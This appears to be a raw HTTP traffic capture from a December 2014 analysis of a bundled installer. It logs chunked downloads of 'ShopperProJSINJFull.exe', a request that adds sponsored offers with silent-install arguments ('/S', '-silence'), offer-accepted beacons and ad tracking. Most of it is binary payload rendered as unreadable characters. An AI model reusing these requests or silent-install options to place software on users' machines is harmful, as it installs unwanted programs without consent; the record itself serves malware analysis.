.../..-.u... Om.j...h...]<x..WO...........\O)..~8y..H.%.!.....Rd...
..vA.N.QR...,L.6Z...|@S......s..b~2.....1M.$....w.....!,G..g..'....fM.
h..|.K!v..xL.=.q.Wh...B.G...$u.._6.H0B.HO..I....R......Eo..A#DvwUHr..%
.M..B[.?...dp[......H........w.M.........::[email protected]/."..
.z1.w.Yu...b....nS.JN..":....Q.9..-&U2b.$.}t..g..D.y=Y./-).1...(.M..M.
&d9=b(.d..Uij..r.......k.~.oL!...y~vj-./..j......#.....:.........U....
......x.w.lTo..._{B..u...!..FZ..Kt..q.S.....2l......]........e..._..g4
f.XFCi...`..yP..#m|}..U Q......s"..vi]V..]...y...N]..i.a.U.....?.U....
t.F....7o....!.o.)"}#5dw..m.X.......=..? d3.8..D.I.....0XaGq.V.......Z
..8K..e....AX?..f.........A..t......X.om.wS[H.~.\..V.....l.a......
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=2750000-2999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: d2bt1dcmxj05l2.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Tue, 16 Dec 2014 18:33:45 GMT

Last-Modified: Tue, 16 Dec 2014 18:18:33 GMT

ETag: "8636e548ab5cfbeb08cf75949dcd0a42"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 2750000-2999999/4686543

Age: 79791

X-Cache: Hit from cloudfront

Via: 1.1 627cfcd63872f08990562b39898647d0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: E-maGju0e1kbM-ORaNG_iOa7XDf2GOXT93J_mQSVUdiEKPzkca95hQ==
.k"..q.Z..u ....;...r.]3....S..F..W..Z..>j.I.C....B.1a8..".....(..0
bK.YTCVi[...J....&......4....{..Z...*.v......ET:..,...w*-$.....8..c.D.
.MO.C=.....-..D......T,.a~%..{...}.a"I........|......z...x$.o3...L....
... ..I.-..,'..........b..k/V.>....qC...NA..._1.E.r.m..!......)..O.
W...~L.....YN.[...Z... .P@....?L.M..."...x.s..p~..}.sT.t1..|.aH...HC..
..?.7RZ..s.`...V ta...r.O...)..D....I.ZY(.`......28...N.u;.k.......3..
.V..|"...}.i.^...5u.......I..%.......'l.I.C.6I.Ne-.......Z....z...3...
.<t....Sr......_.'........P....&.Lnr.Xn.xQ6.s#/,......8.........\Z.
..3@...}....#w...".7b.SjKu......?G......L......?xLu...X.T.2.S..>^..
.M"..L.J%.26.b]...... ..6]c.jC..9..(e./GM..<.Pa...T...I.."}.?:....k
`..A.=....7?...R-W.(.m.I.J..H4..d..q,?..!9...i0p.\.".....2../.'..9 %..
.E$.>...y..C.s.^7.qL..yE....o...k.WM:l&R..C|z.p|G...2e.r..u......S.
.... .... ...A.8./odK.....g!..0Mr....Q..'....*.......U.......fO......S
:zn.0%.}y.cbN...[[email protected].`. .-......K.I...<.k..D...@
...=]3.7.]..F$..5..4.>.pLd..... .yn......eP..NF.....[.].c.-..Ap...L
.....9Q<..qv..(.*;......D...7...<..C.....Z.I,"u....V.t'.U .p..j.
...z.E=..,.D.L....:[email protected]...;~ae(.s...$...O..\>.....C.VI...x....
!Y...d@9....)c. U ....).2.-....T...&.......x.{.?...M..(5S.....C....C&.
..,yr,\]..l...C<.|'...f..M..r.......N.uq..n....DN"%.}..|......A..xe
..F.9.y................R.....s.. :.....c.u.......^...J..}.[.@&.kz)..r.
.K)........a)..;...'.e@..../..........\...\...'..#'."A.....R..fN...M..
...h...4.....FDH....Q...ow.r..<Y.}oI..........bvJHs...n.G.z....
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=3250000-3499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: d2bt1dcmxj05l2.cloudfront.net

Connection: Keep-Alive





..> .N..^..>....V.lS.vHF.^. .}Sh....e...Z4....<..z.....X...v.
.H.]..K........M3.N.oN.e....8Y.O.7...._...y.&3../....-8'.....l.....J.B
....Q7.........[C.=..[.K....i!...<..).....M..=..)y....n.b&.RL|`.Q..
....7....6.......q..9.@f.~.P..K..S..V..=..=.,Hx..O...:..v..........P..
..!.5.3.t..........o.e..'.e.'..u6..,t.. .b.i.........\..[.....J....!..
.`.U....^..`.... _......e.....I.....4H.<....n..n.]r#.9......q3.....
..>...3{.....r.7.l.X...K.,.2...$.$....^U...>.W'.l..M.Q.z"i.....~
.y..|.&..`Fk..0 |..~...g....Wy7o.^.|\.>.o.\|...0....qB.9.....#.....
...2m...^`R8L.m....3.....U...&.$.pk....jq......f...te\f......5.\. ,KY.
O.....M0K.Y..p.W..e......`.O....Hrn...Y=..3..\..`V....mF .5DE.{?...[..
.....ib....]..i....t...z.F....><S.....w;.O..6m.E.V"%S..Sx..z`tj.
.[..e..0.C.e. ._...?..3vZ}f.....eU..XN@.\$[1:...W.@......].7..U.v.....
{...........w....b}>).-...!C..n<...K..W.9j.....iY....(Q......`..
.]..n..ZD....LSs7%r.....}......Q.e\...8....s.3>....4.r...(\....e.%|
....y.._.^..Z".....n...3X.=..}..5f.$...gd..$.LX|O.U.".A}.~.r_...gu....
..n.......9niU...H.9._%..Q.($.........j.e..If..4(/...a...j.|.p...;m.;.
Nx.$..V..Vxh.e..h. .'....g..~.._.K{..f.3&..7....e.{.s([email protected]?..
x...RU......T...|.......2......<.w.9...r......y..B[&9...^{...[}/...
...d.......7&.C.c.... E.*\......)gY\.h{.6%).Q.}O. ..._..kJ1RN,.~...M.T
..B.X........[.b$._|;9.4.........7l..?......m.....h.....4.s..iz.f.g...
.VaE.Kaw>z.b.&..$2.18....i.....<..l.X.BM....)U..g.>n]......4X
...]../...b.NoH....!......[......j..p..0.?..-e.........(.~...|...7
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=3750000-3999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: d2bt1dcmxj05l2.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Tue, 16 Dec 2014 18:33:45 GMT

Last-Modified: Tue, 16 Dec 2014 18:18:33 GMT

ETag: "8636e548ab5cfbeb08cf75949dcd0a42"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 3750000-3999999/4686543

Age: 79792

X-Cache: Hit from cloudfront

Via: 1.1 627cfcd63872f08990562b39898647d0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 8SuYAkYJDBVZZ_3E7h8o-GVeJQQ9PfRgtswNYV6VzshyG6yyCix5xQ==
nL......a....Bm>#F.d).....m..h/.2.h..m..l..4..l..1_&.6..M...../^..'
.."...H<....%..]..(G*.%4 n}.v\......M.H........].q=.C.WS..)....RG]m
\.h....C.'...Y.C.a......w......A...........~;D...a{.%._...h8.<.|~l.
....1.Z..'$....|.ta.,....^035.`W.U..0e!_.8`..P...Z...w.....[.yTn...p..
...V...(..4... XA_..zn.tpH.q.n..Rk.....s..:..ag...q..Vy...Z;J ...z.m..
...-l.....x....|.Y......5|..=n......_....7\...7...I.^ a.J.|MR.>e...
.U.....k,A. .....DD.....(.....S..$X.....\......w......!~.[..<9.#...
.....~{.y.wO.&E..j........XZ..0#.....g%.tp....J<b.....'..7(.1`%...G
l../U.no....M.>.-.c..E...2.......{[email protected]..~..6:.z]U8|...J..7
.........u..x.O.Q|...N.Q.&...K....Z..b.......&.8....~.9@.?........ ..&
gt;._r....-.h.?g.yj.4..e ...?yL.......(....u..[K..8.2.h...P..W..=O*.p.
..&...N.....7..N^........e.......28....$..........7.]....u.{_.).O.p.C.
SdJ.q.e...j......Q..7ud!....P.....l.V.......y......m.......7......T`..
._..O9 ............M..Z.2$]p...dV`............>q!.....yZ.L|./?0df.d
.:..<f........:.GH......Tg.3....?$0..N..;...Eg.8;[email protected]......$...
..$K.l.......V" E... ....n..?.t..=.....^..... .K".El....e.6k..i..\>
............'[email protected]`..t..}..9LI...J...c.~.
..Ua.H.,...Pu. >j..wo........E.9.7.(..qV.[I.....Lo..^....F."..q\.Ng
;8..sdb..n.}.....rR4....^!...to....9!.C.8..* .......C.d.!.z.wU.$J.o...
*.% ._.....e.....P....K3.3}..}'B...=rn.4..rk....m...j;^3..=D..sAi.k.L.
.7N_.8.gd...n!XX(....}..zQ>.?..I..........L@. 6....0A.."{.........y
...7.(\A^.T.\.A.....&. ./pBe......|.R-U..D...P..,b..E.2...@.......
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=4000000-4249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: d2bt1dcmxj05l2.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Tue, 16 Dec 2014 18:33:45 GMT

Last-Modified: Tue, 16 Dec 2014 18:18:33 GMT

ETag: "8636e548ab5cfbeb08cf75949dcd0a42"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 4000000-4249999/4686543

Age: 79792

X-Cache: Hit from cloudfront

Via: 1.1 627cfcd63872f08990562b39898647d0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 9_76t5MF5BGhUx6bT42K67PD482XGD1iOKfyVO-CIiWFcn3g-8D-rg==
.! ...........Q-...=...[%.T.X....].....(....b.....,.o.6`..B........].}
..X.4l.....1./..0.6.m.5.P.{......h]Q..B9. x.y~...2........$.b..p%v.W.W
........@Dx^.x...~...2...{m?\$&..!......Y.-{.z&E.L.......=...&s...!e.K
...P..}.\<.............(....7...s.~oR..........j...U...0.~7.D...au.
o..!.......2z..r.......b../.^q...[m........D../K....".....H.x..".5]?.}
"`_......gf....H.Z....?8,..........a...U...|E>.....?<...........
y.7|.....)T......./..KU..;...5.Y{...g..5..Q.].E..H.\R....B.....8......
[email protected]~.}...%.........F.^..
d.d*Y... ..........Zf...y^fL.p.:Q1...1...0.Am.kP]H)m..i.:..W. ..].....
. DW...._...R.M...cP.~.T=AlHfD.....a.Q...I. .m...w..7 .."G2._w..#.dg.u
.=.......k..B.8.6.RK[.b9.?.5d.^z.ZG.....D.[.9..1x*M.".........!...~...
`.E.R..HC......... 3NA..1.EE.|....a.E.|.X.... .....b..;BQ ....P,.yDB.B
...w.....?."..A.^..!w,'..6.....W.~.....ro..$.....R.......ND...)J>'.
.l..L.i............p<..{.Z7..}vD.h..z......s.........<[email protected].
J4t..8.Yl...Lt.J........'....i.T.9...r...r1...ds.G;......\d..p..Y.m`..
....*./.]z..........8..aCr..HL...U.jpL..n.P9........W.B.,.u3..a.T.....
P....c.....)[email protected]*H8...9..13Ex#v|..._....Y.V...x [email protected]...\......
....#.J*.0I.>..L...HA...n.I&).....z..M...1iC.y.# .........!.....Z..
..p..........qN...:nlg9...... :%iUx........k_l .(..'C. .oA._.3!....eO.
D.N{ ..b.!.I......f>..`....7...Y.3.............rP........h.8.D..9x5
C.....6'.n.'..?.. j..#Rwl.k...T.l_..wE........i.V..R......4...@{.d....
.U......a......QO3.....L.%..9!.X.>ZDA..<e:...G _.....F]Z..5.
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=4500000-4686542

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: d2bt1dcmxj05l2.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 186543

Connection: keep-alive

Date: Tue, 16 Dec 2014 18:33:45 GMT

Last-Modified: Tue, 16 Dec 2014 18:18:33 GMT

ETag: "8636e548ab5cfbeb08cf75949dcd0a42"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 4500000-4686542/4686543

Age: 79792

X-Cache: Hit from cloudfront

Via: 1.1 627cfcd63872f08990562b39898647d0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: AeM-YUmfF_UMKUmuAGolMgDUjrgZk2iUXRmmUasq1sAMA9r3ugrJ2w==
.{>.....M.....j.K........z...l".?..n)...Fl.v.KcZK.....i{zs.........
#...s...@t?.q......&...U....#'.W..2...b..a.......r..*o....#.Y.....&..u
_...!.%.O..g..{...k.Dt..|.TV...yD.%..\a..........7..cY.-.7.......z*".d
..Z?W....(.........|}....i.....P{Q._2..).]..&.&.....:T.km.b..y_,.."vG.
?m.p.. .O:F........y........)&..ys....g..f.%{......6.mT.....S..0:@...!
.p.?2....&.f.&T......r.!.P...Gi..V.~.".N..|...-f.4....y..... J..Z...f.
0.......Da...`Xx...QvRvVN.....Q..Y.bUi....u...........X...f..S..\....^
.T..eXt.R.......}.,s.?e..b..a..F....(..#2[...3i.....I..d..P...8~.TT...
.G.$~..qj.*6h.#..;t2_..u. ..h.Q...L8q^....^...s.4}q..WJC...E..&.H.?...
._..!.........@.....=3YZ..'\...;[email protected].&
lt;.._.....3.[.._..SX.==E...<.x..E...2UD..3T...-.H5}../..1a.......D
..k....PD.....o.\...t..y..V.[....!......H4\i......Ey3..K....o.{e.2Q...
..'x.>C.\..[0A{1.s.....1".>C#f.".x...h../..v~..O.W9.gyp Z....\.&
[email protected]...*..9{.!....L...,....oeWLz.[.H.....:\.......gn./...i."..r$..Z
........5fa.7.]j....n.......F.!......v........80KZo..........qJ.,tB...
....YH:.i3.p...Z|.$.,#^....zM*.KV3.....}....$.....7.d.>.S.....h{j..
............2cR9o.'.;.7..m~.L2..A.h..n...P@.@..!f\...q....D....t.....}
.p#w.ED..H.-.@,.B 1....U6.............ziW......p^*.9P.m-..w.7u.q......
.\E..z.........{.C.K{...\_..T.!..z.....A..ZB..Dhd..L...R...z.G..# Di.F
.)........<......z..LxQ.....Ir`4..D............<...U...0....D..*
...^.. u..z.}.z1..A5_/.MA.."..dZ..b............/...k}.N..........a...Y
.1|.^J.L.6...Uj......!\.N...m.N._h.......k...L../Ez._..Z.X........
<<< skipped >>>


GET /downloader/network_xrwc_1/vlcmediaplayerdmot/49e8eb8101569a41ad990f2a534d0e40?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=49e8eb8101569a41ad990f2a534d0e40&muid=96D78F35E7B7EA4FC32736D428DF43B4 HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.61869844.1418834552.1418834552.1418834552.1; __utmb=1.1.10.1418834552; __utmz=1.1418834552.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1




HTTP/1.1 200 OK

Server: nginx

Date: Wed, 17 Dec 2014 16:43:21 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
600a...............~.F....<..N.....NO7e......v...Nz$E?..)H\d.^"j..&
gt;.}..}.T.. (...tf.".BU..Sg....t.,>]f...xt.?..eqz.?..{.l.7..x6..Q.
\......y2./........b.<~.........i#j\]......T'....h..N..........w..9
.....x.f. .../}.2..._.J.>.,.....|q..e..W..a./...t.u}....8^d.."./...
.$_|.k2Q..Y.\...h1[~.../.......8.x:....<.....w....C<.N...0....T.
.I<........,....Q.).}q=...^...d.]....2....e..0x?>.a.fy"....r4..~
.d9.cgL...O........."3..ev....o1k........%V.......r...d:.g......S...1.
..Q.=r:.D..3......g.!.=?.....l.`w.gi>.....6_....."9C...Q.*...S.....
2.a..>.....y:^...#.........C.i~.O..2....U.......;./...w.n.jg.$.b.2&
lt;.th..0...."?...ez.N?LF.8=M...b.....}..l"........\g...[>........d
..\D..Z(.O.g..e|:.......j{.|.eb....||...>..$.. .......a..K.R...J\b.
.~.FXd..d.e.}....S.(.i.9I..].Z..2.`Y|.F...xrq.i.<.....H..6...g..X..
$.[..r6r...:......u.`.7..........I..g..'._.....~...e.#S....-..1.{w....
;w.....g.V.F..3...<.Q...W.m2.....\.{A.*..,H.]...e...w..............
P......X.._^|...}...}....~..........~...............Z........{C.......
....|..n..;_9.w.r9......r. ..n..n.^wk.w.......C._<....,...M.`..Td..
Q<.g.C......(...g.....a<..FX<|.....$.......l.s...W.4...2.K.N0
"..Y....i|.. .,'..5...&..Y.X.&W9...{......5^...Z../c.LYZ.... ..Dq.'l.h
.....Q..<.LgM......^..e.......ZW.....Q...'[.....e'[email protected]..&
gt;.\....[.:...l.....|....f?.[.a....*[email protected]]K.....8.
.......9X..o.k.....F..?..o......m..././.;......N?.c....._..)...*...Tb.
(...|E..[Y.f......'.......G.(JzA..\...Yz......CJF.Y....M5.X...x...
<<< skipped >>>

GET /installer/ajax-bidl?offers[youtubeaccelerator][exec_args]=/S /MAG=smtyc &offers[youtubeaccelerator][offer_indexes][slot_number]=1&offers[youtubeaccelerator][offer_indexes][index_in_screen]=1&offers[youtubeaccelerator][offer_indexes][index_in_session]=1&offers[sourceapp_network][exec_args]=/np 1 /is smp1ua &offers[sourceapp_network][offer_indexes][slot_number]=2&offers[sourceapp_network][offer_indexes][index_in_screen]=1&offers[sourceapp_network][offer_indexes][index_in_session]=2&offers[mystartsearch][exec_args]=-silence -ptid=smt &offers[mystartsearch][offer_indexes][slot_number]=3&offers[mystartsearch][offer_indexes][index_in_screen]=1&offers[mystartsearch][offer_indexes][index_in_session]=3&offers[appshat_madness][exec_args]=/S /affid=appshatmadness /bi_sponsored_sub_process &offers[appshat_madness][offer_indexes][slot_number]=4&offers[appshat_madness][offer_indexes][index_in_screen]=1&offers[appshat_madness][offer_indexes][index_in_session]=4&uid_orig=796c42aebeb52f4eabf469c6ed8ad1c0&uid=49e8eb8101569a41ad990f2a534d0e40&tokyo_csrf_key=f1fa52a5e2c93c37e2acc851005f1d81&tokyo_csrf_timestamp=1418834601&ffInstalled=false&dfz=false&affid=network_xrwc_1&sid=vlcmediaplayerdmot&country=UA&hostBrowser=ff&unique_id=61c1e9ce078e3e20f171532f2a80443c HTTP/1.1

x-requested-with: XMLHttpRequest

Accept-Language: en-us

Refere
HTTP/1.1 200 OK

Server: nginx

Date: Wed, 17 Dec 2014 16:43:22 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
4eb.............Wmo.6.. .> .e..c..A........C]..u..H.FRq. .}w......A
.%@...;.^....a!J0..>\..6.0.......*.p.O...U..?U.......(lt.....x..v..
...l.l...^.&/...#.N...M.K...............a....qG......P.S.gx.p........o
.j.b!.e%.!.oF.v.4.vY..S [email protected]....
...xLpO......j*4.n....6..\.3!.J....Q....3..V...*..ES....l.N....l\D...\
 cS>.~....d......p%.......Q...a&...G'..B...Z..B..........).L~......
?..7Jew.>.....UH...z..L....{ ......`v\.k..1..........s-5...!./.....
......0....t..wT..#=..\ ..yu-d...>^6Z....uM ../....z..j........C,..
...5...l.2...R.,[email protected]....:[email protected]*.*..>....:......U.
...-R.j4.V.)..Bi.%....GZqJ.uM..M........BG.BM.&.^...'$:<..p....iT..
Tu...A..>....H.fS[bv.,.0.A.. 9...\4...:..ld...z..D....?.*}..j.p....
|......"W[.w`.X,:3..E...:\U..\U. ..c....cxJ..9u...J$...."...u .b...)Y.
].! ]8....e.....%.bB.4.....6..xw....Zs;...K.D..L..~hWw......f....[...e
.ilB... .DQ.C.p`..b.......eY..L#.}..].... ....wZq.<.L.b.......vh...
.qf.O'>p_xpK...@..*.95.cF.-..............Z.Y4|6....s.N..a.6s.T.rI..
.k?]_..vk..e......<.j0w......!......,L....9...I3@..{h..v..q...9..{.
...H7^:M....c...m=..~..G.....=....nR.(.k...l...V.)./9.....W..;........
WT~m.}...sf..,..Q...bp.j..Z.m.> Y./g.*.\.n...5.... ....d...i...<
.....=.s6.c:yS...p6..p....(............P.....0......


GET /pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=cc90ebc56362f1bd1be2d710acda8d14&tokyo_csrf2_timestamp=1418834602&slot_number=1&index_in_screen=1&index_in_session=1&0.5490156631942105 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_xrwc_1/vlcmediaplayerdmot/49e8eb8101569a41ad990f2a534d0e40?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=49e8eb8101569a41ad990f2a534d0e40&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.61869844.1418834552.1418834552.1418834552.1; __utmb=1.1.10.1418834552; __utmz=1.1418834552.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1




HTTP/1.1 200 OK

Server: nginx

Date: Wed, 17 Dec 2014 16:43:22 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 17 Dec 2014 16:43:22 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..


GET /pagead/conversion.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.googleadservices.com

DNT: 1

Connection: Keep-Alive




HTTP/1.1 200 OK

P3P: policyref="hXXp://VVV.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC"

Content-Type: text/javascript; charset=UTF-8

ETag: 9603012329940890601

Date: Wed, 17 Dec 2014 13:32:52 GMT

Expires: Thu, 18 Dec 2014 13:32:52 GMT

X-Content-Type-Options: nosniff

Content-Disposition: attachment; filename="f.txt"

Content-Encoding: gzip

Server: cafe

Content-Length: 4017

X-XSS-Protection: 1; mode=block

Age: 11524

Cache-Control: public, max-age=86400

Alternate-Protocol: 80:quic,p=0.002
...........Z.r.......PS.1b(..3..aU..8g.;'q&g..u.$D2.H.II.-..v....g.j.\
..h4.@_....W...q...5O:s..A.....U........n.s.....d.1.B.x....4...l.....D
d.$".......Br..m.<.STc..Y.s.Y.5K..3...0.T`.4.|."[email protected]...&..\.-.V
.[$.(.d.".2..#.... ...V..2...T/(..Iv.!=..".v......(a.>..R..../.m..7
..I%.U)T.<..0.......:.$.....h...*..Jq.;y.a...)....p..w.........H...
.8.....u8}dD>O/7..|..)....l.X.....|..tW.TM...40.X6.......{..Q.1H3..
d......5.....;.....Mp...Q........xX.i.'66u?p]....e".....G....f|..rc#..
 ..G.a..}.x&.[n,....z.D.l.....q(...LlF.Z.q|.y...P..UG..=uz=...1....l. 
.HG.....awM.k....l.xD7..j..............n.W...P....e..X.k.4.V.......pE.
...me..Jw;....`N....s......'..=.yV.. .....n....z.'.1W.6l...1|E..3.7...
...d.......lnD|.x<...\..~.a..U*......7......D..N...3B..o.K.....-...
..%.%'..>......>.U...g-.>}.p.#..G...mL.._...Y.1...-O.F .e....
..SR..|...m.h{I....6...^on`..EV.,'.k..0F...[8..X..[g.P.d}=...}M.Y.j.tk
.....\..d..n.5..;.Gl.K'.|...Av=......Z..5...6.O.h..f...1.......s...H,Q
F....O. .y|.O..J'*....ARM....Q#"1l6.Y..3H.E...Pw.O<9Q.'r.>q.~..j
...........Q(Gi.;.Sp'...2......C....I...0.h.....O<...C.Xh4. .5.(Z.@
....../"..|...|%..fRK...I..Ylx".".....H5.Z.y..l...x.j....5.>.....O%
e...W.....Y...aZ.q\Y....K.....c....*...v;..-X......q4.8......{......8L
....O..... [...r.KUvt.[..........H......1..i......-.8....*....^..5.a..
Y%......8L...m.[.m..0N......n..d~..<...|..[.....Qx.F.].I.O..e. ....
..,^..k.......m..,..?.........A.fs.../..`..{.a...T..R.."[email protected]
...-.1..4.....;...Rd).Y.1v.*..A.......K.F[./.....A.-...F..S.>..
<<< skipped >>>

GET /pagead/conversion/971163981/?random=1418834697240&cv=7&fst=1418834697240&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE&vis=1 HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.googleadservices.com

DNT: 1

Connection: Keep-Alive




HTTP/1.1 302 Found

P3P: policyref="hXXp://VVV.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC"

Date: Wed, 17 Dec 2014 16:44:57 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, must-revalidate

Location: hXXp://googleads.g.doubleclick.net/pagead/viewthroughconversion/971163981/?random=233430558&cv=7&fst=1418834697240&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&convclickts=0

Content-Type: image/gif

X-Content-Type-Options: nosniff

Server: cafe

Content-Length: 42

X-XSS-Protection: 1; mode=block

Alternate-Protocol: 80:quic,p=0.002
GIF89a.............!.......,...........D.;HTTP/1.1 302 Found..P3P: pol
icyref="hXXp://VVV.googleadservices.com/pagead/p3p.xml", CP="NOI DEV P
SA PSD IVA IVD OTP OUR OTR IND OTC"..Date: Wed, 17 Dec 2014 16:44:57 G
MT..Pragma: no-cache..Expires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Co
ntrol: no-cache, must-revalidate..Location: hXXp://googleads.g.doublec
lick.net/pagead/viewthroughconversion/971163981/?random=233430558&cv=7
&fst=1418834697240&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=
en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=12
0&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccele
rator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0%2
Ceb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NON
E&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected%
3D1&VA_src=1&pr=1&TSI=75&BundleID=NONE&vis=1&ctc_id=CA
IVAgAAAB0CAAAA&ct_cookie_present=false&convclickts=0..Content-Type: im
age/gif..X-Content-Type-Options: nosniff..Server: cafe..Content-Length
: 42..X-XSS-Protection: 1; mode=block..Alternate-Protocol: 80:quic,p=0
.002..GIF89a.............!.......,...........D.;..
<<< skipped >>>


GET /online/Register.aspx?CV=2.0.0.0&ProductID=12000&UserID=&Password=&OS=10&EMail=&Newsletter=&V=3.3.9.4&Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&BundleID=NONE&BrandID=NONE&PartnerList= HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache




HTTP/1.1 200 OK

Cache-Control: private

Content-Length: 98

Content-Type: text/html; charset=utf-8

X-Powered-By: ASP.NET

X-AspNet-Version: 2.0.50727

